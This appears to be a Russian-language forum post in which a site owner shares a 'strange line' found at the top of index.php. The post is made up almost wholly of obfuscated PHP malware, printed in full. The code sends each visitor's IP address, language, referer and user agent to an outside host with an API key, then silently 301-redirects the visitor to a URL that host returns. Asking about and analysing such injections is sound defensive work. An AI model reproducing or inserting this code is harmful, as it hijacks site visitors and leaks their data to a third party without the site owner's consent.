Странная строчка в начале index.php

<?php
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6dt\x62v\x6amsa\x77r"]="\x64\x65cod\x65\x64";
${"\x47\x4c\x4f\x42\x41LS"}["\x78u\x65\x78s\x6d\x64\x74"]="u\x72\x6c";
${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x61\x75r\x73\x6d\x7ak\x71p\x73"]="\x63\x6f\x6e\x74\x65\x6e\x74";
${"G\x4cO\x42A\x4c\x53"}["\x61b\x78\x64rj\x74\x77x\x6a"]="\x64\x65\x63\x6fde\x64";
${"\x47LO\x42\x41L\x53"}["\x79\x6f\x6bx\x6c\x70b\x79\x72\x78\x66"]="c\x68";
${"\x47\x4c\x4fBA\x4c\x53"}["s\x76\x71\x6b\x68o\x6cx\x6bx"]="c\x68";
${"G\x4c\x4fB\x41LS"}["\x77\x7aem\x63\x6c\x77"]="\x71\x75e\x72\x79";
${"\x47\x4cOB\x41L\x53"}["\x75\x65\x77\x7arn"]="c\x68";
$host="\x68\x74t\x70://m7\x6c.r\x75/\x61\x70i\x2ep\x68p";
${"GL\x4f\x42\x41\x4c\x53"}["\x63n\x6e\x79x\x73\x76"]="ch";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65dk\x61\x6b\x6bxihm"]="d\x65\x63\x6f\x64e\x64";
${${"\x47\x4c\x4fB\x41\x4cS"}["\x77\x7ae\x6d\x63lw"]}="?a\x63\x74\x69o\x6e\x3d\x67\x65\x74_\x6ci\x6ek"."\x26api\x5fke\x79=\x34\x64\x648\x38\x37e\x61\x30c0\x37\x34\x363\x37b2\x31\x62c60\x64\x66\x3270\x31\x3638"."&\x67\x72o\x75p\x3d\x6d\x70"."\x26i\x70
x3d".urlencode($_SERVER["\x52EM\x4fT\x45_\x41\x44D\x52"])."&lan\x67s\x3d".urlencode($_SERVER["H\x54T\x50\x5fACCEPT_LA\x4eGUAG\x45"])."\x26\x72\x65\x66e\x72\x65\x72=".urlencode($_SERVER["H\x54\x54P_RE\x46E\x52E\x52"])."\x26u\x61\x3d".urlencode($_SERVER["H\x54TP\x5fUSER_\x41G\x45\x4e\x54"]);
${${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x65w\x7arn"]}=curl_init();
curl_setopt(${${"\x47\x4c\x4f\x42A\x4cS"}["\x79\x6f\x6bx\x6cp\x62\x79\x72x\x66"]},CURLOPT_URL,$host.${${"\x47L\x4f\x42\x41L\x53"}["\x77z\x65m\x63l\x77"]});
curl_setopt(${${"\x47\x4cOBA\x4c\x53"}["\x73\x76\x71kh\x6f\x6cx\x6b
x78"]},CURLOPT_RETURNTRANSFER,1);
curl_setopt(${${"\x47\x4cO\x42\x41\x4cS"}["\x79o\x6bx\x6cp\x62y\x72\x78\x66"]},CURLOPT_CONNECTTIMEOUT,3);
${${"\x47L\x4f\x42\x41\x4cS"}["oa\x75\x72\x73\x6d\x7ak\x71p\x73"]}=@curl_exec(${${"\x47L\x4f\x42AL\x53"}["\x63nny\x78\x73\x76"]});
@curl_close(${${"G\x4c\x4f\x42ALS"}["\x79ok\x78\x6c\x70\x62\x79r\x78\x66"]});${${"G\x4cOBALS"}["\x65\x64\x6b\x61k\x6bxi\x68m"]}=json_decode(${${"\x47\x4c\x4fBA\x4c\x53"}["o\x61u\x72s\x6d\x7ak\x71\x70\x73"]},true);
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x78u\x65\x78\x73\x6dd\x74"]}=str_replace("\x68\x74t\x70:
//","",${${"\x47\x4cO\x42\x41L\x53"}["\x61b\x78d\x72jt\x77\x78\x6a"]}["\x73t\x72e\x61m"]["\x75r\x6c"]);
if(!empty(${${"GL\x4f\x42\x41\x4cS"}["x\x75\x65\x78sm\x64\x74"]})){header("H\x54\x54P/1.1 \x330\x31 M\x6fved P\x65\x72m\x61\x6ee\x6e\x74ly");
header("\x4c\x6fca\x74\x69\x6fn: ".${${"\x47\x4cO\x42\x41LS"}["\x6dtb\x76\x6amsaw\x72"]}["s\x74\x72ea\x6d"]["\x75\x72\x6c"]."");}
?>